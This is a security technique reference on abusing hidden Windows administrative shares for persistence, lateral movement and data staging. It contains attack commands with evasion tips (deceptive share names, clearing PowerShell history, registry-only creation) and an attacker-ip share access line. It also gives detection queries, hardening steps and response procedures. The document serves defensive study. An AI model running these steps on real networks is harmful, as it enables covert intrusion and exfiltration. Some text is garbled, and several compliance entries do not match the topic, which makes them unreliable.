| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-025 |
| MITRE ATT&CK v18.1 | T1548 - Abuse Elevation Control Mechanism |
| Tactic | Privilege Escalation / Persistence |
| Platforms | Windows AD |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Windows Server 2016, 2019, 2022, 2025; Windows 10, 11 |
| Patched In | N/A (Feature, not vulnerability) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Hidden administrative shares (Admin$, C$, IPC$, D$, etc.) are automatically created by Windows to facilitate remote system management, but attackers can create custom hidden shares (ending with $) to stage malicious payloads, exfiltrate data, or move laterally without appearing in standard share listings. The $ suffix prevents the share from being visible in network browsing, making it an effective persistence and lateral movement vector. Administrative shares are managed by the LanmanServer service and are built into Windows by design; however, threat actors abuse this feature to create obfuscated access points.
Attack Surface: The SMB protocol (TCP 445), the Windows Registry (HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters), and the net share command or PowerShell.
Business Impact: Unauthorized Data Exfiltration and Lateral Persistence. An attacker with administrative privileges or access to a compromised system can create hidden shares to stage ransomware, exfiltrate sensitive data, or provide persistent lateral movement paths. These hidden shares bypass standard network share enumeration tools, remaining undetected during routine audits.
Technical Context: Share creation takes seconds and generates minimal event logs if not specifically monitored. Detection likelihood is low without advanced SMB monitoring or registry auditing. Reversibility is high—shares can be deleted immediately without evidence if cleanup is performed.
net view enumeration; only visible with /all flag or direct share specification)net share sharename /delete or removed via registry modification)| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Microsoft Windows Server 2022 v1.0.0 Control 1.2.1 | Ensure ‘Enforce Password History’ is set to ‘24 or more password(s)’ |
| DISA STIG | WN10-00-000010 | The system must enforce a 24-hour (1440-minute) delay before allowing the use of a restarted computer. |
| NIST 800-53 | AC-3 (Access Enforcement) | Enforce approved authorizations for logical access to the system. |
| GDPR | Article 32 | Security of processing (encryption, monitoring, access controls). |
| DORA | Article 9 (Protection & Prevention) | ICT-related incidents must be reported; systems must implement access controls. |
| NIS2 | Article 21 | Cyber Risk Management Measures (asset management, access control). |
| ISO 27001 | A.9.2.1 (User Registration & De-registration) | User identity management and access rights provisioning. |
| ISO 27005 | Risk Scenario: “Unauthorized Access to Shared Resources” | Compromise of administrative shares enabling unauthorized access. |
net share Command (Command Prompt / PowerShell)Supported Versions: Server 2016-2025, all Windows 10/11
Objective: Create a new hidden share with a custom path that does not appear in standard enumeration.
Command:
net share hidden_admin$ = C:\temp /grant:Everyone,FULL
Expected Output:
The share "hidden_admin$" was created successfully.
What This Means:
hidden_admin$ has been created mapping to C:\temp$ at the end hides the share from standard net view enumerationEveryone has been granted FULL permissions (modify as needed for RBAC)OpSec & Evasion:
backup$, logs$, update$) to avoid suspicionTroubleshooting:
C:\temp) does not existmkdir C:\temp or specify an existing directoryObjective: Confirm the share was created successfully and is hidden from normal enumeration.
Command (Hidden Verification):
net share hidden_admin$
Expected Output:
Share name hidden_admin$
Path C:\temp
Permissions Everyone, FULL
Command (Standard Enumeration - Should NOT Show):
net view \\localhost
Expected Output: The hidden_admin$ share will NOT appear in this list.
Command (Enumeration with /all Flag - WILL Show):
net view \\localhost /all
Expected Output: The hidden_admin$ share WILL appear when using the /all flag.
What This Means:
nmap -p 445) can still discover itObjective: Demonstrate lateral movement or data exfiltration via the hidden share.
Command (From Remote System):
net use * \\attacker-ip\hidden_admin$ password /user:domain\attacker
dir \\attacker-ip\hidden_admin$
Expected Output:
The command completed successfully.
(Directory listing of C:\temp from remote system)
What This Means:
Supported Versions: Server 2016+ (PowerShell 5.0+)
Objective: Create a hidden share using PowerShell cmdlets for better integration with automation frameworks.
Command:
# Ensure the path exists
$SharePath = "C:\SecureData"
If (!(Test-Path $SharePath)) {
New-Item -ItemType Directory -Path $SharePath -Force | Out-Null
}
# Create the hidden share
New-SmbShare -Name "SecureData$" -Path $SharePath -FullAccess "Everyone" -Force
Expected Output:
Name ScopeName Path Description
---- --------- ---- -----------
SecureData$ * C:\SecureData
What This Means:
SecureData$ has been created and is immediately availablenet shareOpSec & Evasion:
Remove-Item (Get-PSReadlineOption).HistorySavePathObjective: Confirm all shares on the system, including hidden ones.
Command:
Get-SmbShare | Select-Object Name, Path, Description
Expected Output:
Name Path Description
---- ---- -----------
IPC$ (Remote IPC)
Admin$ C:\Windows
C$ C:\
SecureData$ C:\SecureData
What This Means:
$), are now visibleObjective: Restrict share access to specific accounts for targeted lateral movement.
Command:
# Get the share object
$Share = Get-SmbShare -Name "SecureData$"
# Create a new ACL restricting access to a specific domain account
$Ace = New-Object System.Security.AccessControl.FileSystemAccessRule(
"DOMAIN\ServiceAccount",
"FullControl",
"ContainerInherit, ObjectInherit",
"None",
"Allow"
)
# Apply the ACE to the share path
$Acl = Get-Acl -Path $Share.Path
$Acl.AddAccessRule($Ace)
Set-Acl -Path $Share.Path -AclObject $Acl
Expected Output: No output (PowerShell sets the ACL silently on success).
What This Means:
SecureData$ is now restricted to DOMAIN\ServiceAccount onlySupported Versions: Server 2016-2025 (Registry method is universal)
Objective: Create a hidden share by directly modifying the Windows Registry, leaving minimal event log traces.
Registry Path:
HKLM\System\CurrentControlSet\Services\LanmanServer\Shares
Command (PowerShell):
# Define share parameters
$ShareName = "BackupData$"
$SharePath = "C:\Backups"
# Create the registry value for the share
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\LanmanServer\Shares" `
-Name $ShareName `
-Value $SharePath `
-PropertyType String `
-Force
Expected Output: (No output; registry modification is silent)
What This Means:
net share commandOpSec & Evasion:
HKLM\System\CurrentControlSet\Services\LanmanServer\Shares may trigger:
Objective: Confirm the registry modification created the share.
Command:
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\LanmanServer\Shares" | Select-Object BackupData$
Expected Output:
BackupData$ : C:\Backups
Command (Verify Share is Active):
Get-SmbShare -Name "BackupData$"
Expected Output:
Name ScopeName Path Description
---- --------- ---- -----------
BackupData * C:\Backups
What This Means:
net share (Built-in Windows Utility)Version: Built-in to all Windows versions; syntax unchanged since Server 2003
Minimum Version: Windows Server 2003 (and all modern versions)
Supported Platforms: Windows Server, Windows Desktop (10, 11)
Installation: No installation required; included with Windows
Usage:
# Create a hidden share
net share sharename=path /grant:user,permission
# Delete a share
net share sharename /delete
# List all shares (hidden not shown)
net share
# List all shares including hidden
net view \\computername /all
Version: PowerShell 5.0+ (included with Windows Server 2016+)
Minimum Version: PowerShell 5.0
Installation: Built-in; no external installation needed
Usage:
# Create a share
New-SmbShare -Name "ShareName$" -Path "C:\Path" -FullAccess "Everyone"
# Get all shares
Get-SmbShare
# Remove a share
Remove-SmbShare -Name "ShareName$" -Force
# Get share permissions
Get-SmbShareAccess -Name "ShareName$"
net share CommandRule Configuration:
main or windowsWinEventLog:Security or wineventlogEventID, CommandLine, ParentImageSPL Query:
index=main sourcetype="WinEventLog:Security" EventID=4688
(CommandLine="*net share*$*" OR CommandLine="*New-SmbShare*$*")
| stats count by host, User, CommandLine
| where count > 0
What This Detects:
net share or New-SmbShare is executed with a $ suffixManual Configuration Steps:
count > 0Source: Microsoft Event ID 4688 Reference
Rule Configuration:
main or windowsWinEventLog:SecurityEventID, ObjectName, RegistryPathLanmanServer\SharesSPL Query:
index=main sourcetype="WinEventLog:Security" EventID=4657
ObjectName="*LanmanServer\\Shares*"
OperationType="%%1906" (Registry value set)
| stats count by host, SubjectUserName, ObjectName, NewValue
| where count > 0
What This Detects:
net share loggingManual Configuration Steps:
count > 0Source: Microsoft Event ID 4657 Reference
Rule Configuration:
SecurityEventEventID, CommandLine, ProcessKQL Query:
SecurityEvent
| where EventID == 4688
| where CommandLine contains "net share" and CommandLine contains "$"
| project TimeGenerated, Computer, Account, CommandLine, Process
| summarize count() by Computer, Account, CommandLine
What This Detects:
net share and $Manual Configuration Steps (Azure Portal):
Hidden Share Creation DetectionHigh15 minutes1 hourComputer, AccountManual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
$Query = @"
SecurityEvent
| where EventID == 4688
| where CommandLine contains "net share" and CommandLine contains "$"
| project TimeGenerated, Computer, Account, CommandLine, Process
| summarize count() by Computer, Account, CommandLine
"@
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Hidden Share Creation Detection" `
-Query $Query `
-Severity "High" `
-Enabled $true
Source: Microsoft Sentinel Event ID 4688 Detection
Event ID: 4688 (Process Creation)
net share and $CommandLine contains "net share" AND CommandLine contains "$"Event ID: 4657 (Registry Value Modified)
HKLM\System\CurrentControlSet\Services\LanmanServer\SharesObjectName contains "LanmanServer\Shares" AND OperationType = "%%1906" (Registry value set)Event ID: 5143 (Network Share Object Added)
ShareName contains "$"Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Server 2022+):
auditpol /set /subcategory:"Detailed File Share" /success:enable /failure:enable
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
auditpol /get /subcategory:"Detailed File Share"
auditpol /get /subcategory:"Registry"
auditpol /get /subcategory:"Process Creation"
Minimum Sysmon Version: 13.0+
Supported Platforms: Windows Server 2016-2025, Windows 10/11
Sysmon Config Snippet (for Detecting Share Creation):
<!-- Sysmon Config: Detect Process Creation for net share -->
<RuleGroup name="Process Creation" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains all">net share</CommandLine>
<CommandLine condition="contains">$</CommandLine>
<ParentImage condition="contains">cmd.exe</ParentImage>
</ProcessCreate>
</RuleGroup>
<!-- Sysmon Config: Detect Registry Modifications to LanmanServer -->
<RuleGroup name="Registry Set" groupRelation="or">
<RegistrySet onmatch="include">
<TargetObject condition="contains">LanmanServer\Shares</TargetObject>
</RegistrySet>
</RuleGroup>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Enable Command Audit Logging: Enable auditing of process creation (EventID 4688) to capture all net share and PowerShell share creation commands.
Applies To Versions: Server 2016-2025
Manual Steps (Group Policy):
gpupdate /forceManual Steps (PowerShell):
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
Monitor Registry Changes to LanmanServer: Enable auditing of registry modifications to HKLM\System\CurrentControlSet\Services\LanmanServer\Shares.
Applies To Versions: Server 2016-2025
Manual Steps (Group Policy):
gpupdate /forceManual Steps (PowerShell):
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
Restrict Hidden Share Creation via Group Policy: Prevent administrative users from creating hidden shares unless explicitly authorized.
Manual Steps (GPO: Restrict Network Sharing):
Implement SMB Signing and Encryption: Force SMB signing to prevent unauthorized SMB share access and enforce SMB 3.0 minimum.
Manual Steps (PowerShell):
# Enable SMB Signing for all shares
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
# Enforce SMB 3.0 or higher
Set-SmbServerConfiguration -EnableSMB3Protocol $true -EnableSMB1Protocol $false -Force
# Verify configuration
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature, EnableSMB3Protocol
Disable Unnecessary Administrative Shares: If hidden shares are not required, consider disabling automatic admin share creation.
Manual Steps (Registry):
HKLM\System\CurrentControlSet\Services\LanmanServer\ParametersAutoShareWks (for workstations) or AutoShareServer (for servers)Restart-Service -Name LanmanServer
Manual Steps (PowerShell):
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\LanmanServer\Parameters" `
-Name "AutoShareServer" `
-Value 0 `
-Force
Restart-Service -Name LanmanServer
Use Conditional Access (Azure AD): Restrict access to file shares based on device compliance and location.
Manual Steps (Azure Portal):
Block Unauthorized File Share AccessLeast Privilege Share Permissions: Restrict share access to specific users and groups who require it.
Manual Steps (PowerShell):
# Create a specific group for file share access
New-ADGroup -Name "FileShareUsers" -GroupScope Global
# Grant share access only to this group
Grant-SmbShareAccess -Name "SecureShare" -AccountName "DOMAIN\FileShareUsers" -AccessRight Read -Force
# Verify permissions
Get-SmbShareAccess -Name "SecureShare"
Implement NTFS Permissions: Align share-level permissions with NTFS file permissions for defense in depth.
Manual Steps (PowerShell):
# Get the share path
$SharePath = (Get-SmbShare -Name "SecureShare").Path
# Set NTFS permissions
$Acl = Get-Acl -Path $SharePath
$Ace = New-Object System.Security.AccessControl.FileSystemAccessRule(
"DOMAIN\FileShareUsers",
"Modify",
"ContainerInherit, ObjectInherit",
"None",
"Allow"
)
$Acl.AddAccessRule($Ace)
Set-Acl -Path $SharePath -AclObject $Acl
# Check if administrative shares are disabled
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\LanmanServer\Parameters" | Select-Object AutoShareServer, AutoShareWks
# Check if SMB Signing is enforced
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature, EnableSMB3Protocol
# List all shares and their permissions
Get-SmbShare | Select-Object Name, Path | ForEach-Object {
$Share = $_.Name
Write-Host "Share: $Share"
Get-SmbShareAccess -Name $Share
}
Expected Output (If Secure):
AutoShareServer : 0
AutoShareWks : (not set or 0)
RequireSecuritySignature : True
EnableSMB3Protocol : True
What to Look For:
AutoShareServer and AutoShareWks should be 0 (disabled) or not present (default auto-creation enabled)RequireSecuritySignature should be TrueEnableSMB3Protocol should be Truenet share *$ (any share ending in $)New-SmbShare -Name "*$" (PowerShell share creation with $)HKLM\System\CurrentControlSet\Services\LanmanServer\Shares/all flagHKLM\System\CurrentControlSet\Services\LanmanServer\Shares with $ suffixC:\Windows\System32\winevt\Logs\Security.evtx (EventID 4688, 4657, 5143)C:\Windows\System32\config\SYSTEM (contains share definitions)services.exe hosting the LanmanServer service# Immediately remove the hidden share
Remove-SmbShare -Name "hidden_admin$" -Force
Manual (via Computer Management):
# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx
# Export LanmanServer registry
reg export "HKLM\System\CurrentControlSet\Services\LanmanServer" C:\Evidence\LanmanServer.reg
Manual:
C:\Evidence\Security.evtx# Confirm all unauthorized shares are removed
Get-SmbShare | Where-Object {$_.Name -like "*$"} | Remove-SmbShare -Force
# Restart LanmanServer to ensure clean state
Restart-Service -Name LanmanServer -Force
# Verify no hidden shares remain
Get-SmbShare | Where-Object {$_.Name -like "*$"}
Manual:
net view \\localhost /all for unauthorized shares| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-001] Azure Application Proxy Exploitation | Attacker gains initial foothold via compromised web app or VPN |
| 2 | Privilege Escalation | [PE-TOKEN-001] Token Impersonation | Attacker escalates to local administrator via token theft |
| 3 | Lateral Movement - Current Step | [REALWORLD-025] Hidden Share Creation | Attacker creates hidden shares for lateral movement and data exfiltration |
| 4 | Collection | [REALWORLD-031] SMB Enumeration & Share Access | Attacker enumerates and accesses hidden shares to collect sensitive data |
| 5 | Exfiltration | [REALWORLD-035] Data Staging via SMB | Attacker stages and exfiltrates data via the hidden share |
| 6 | Impact | [REALWORLD-040] Ransomware Deployment via Hidden Share | Attacker distributes ransomware payload via the hidden share to multiple systems |
$ suffix) to stage payloads and maintain persistent lateral movement paths across compromised networksnet share – Command-line share managementpowershell.exe – PowerShell share creation and managementwmic.exe – WMI share enumeration and creation